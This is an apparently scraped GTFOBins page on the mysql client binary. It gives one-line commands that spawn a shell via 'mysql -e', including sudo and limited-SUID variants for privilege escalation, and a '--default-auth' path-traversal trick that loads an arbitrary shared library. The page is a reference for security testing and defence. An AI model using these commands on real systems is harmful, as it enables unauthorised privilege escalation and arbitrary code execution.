GTFOBins.github.io/_gtfobins/mysql.md
2019-03-25 19:40:48 +01:00

451 B

description functions
A valid MySQL server must be available.
shell sudo limited-suid library-load
code
mysql -e '! /bin/sh'
code
sudo mysql -e '! /bin/sh'
code
./mysql -e '! /bin/sh'
description code
A MySQL server must accept connections in order for this to work. The following loads the `/path/to/lib.so` shared object. mysql --default-auth ../../../../../path/to/lib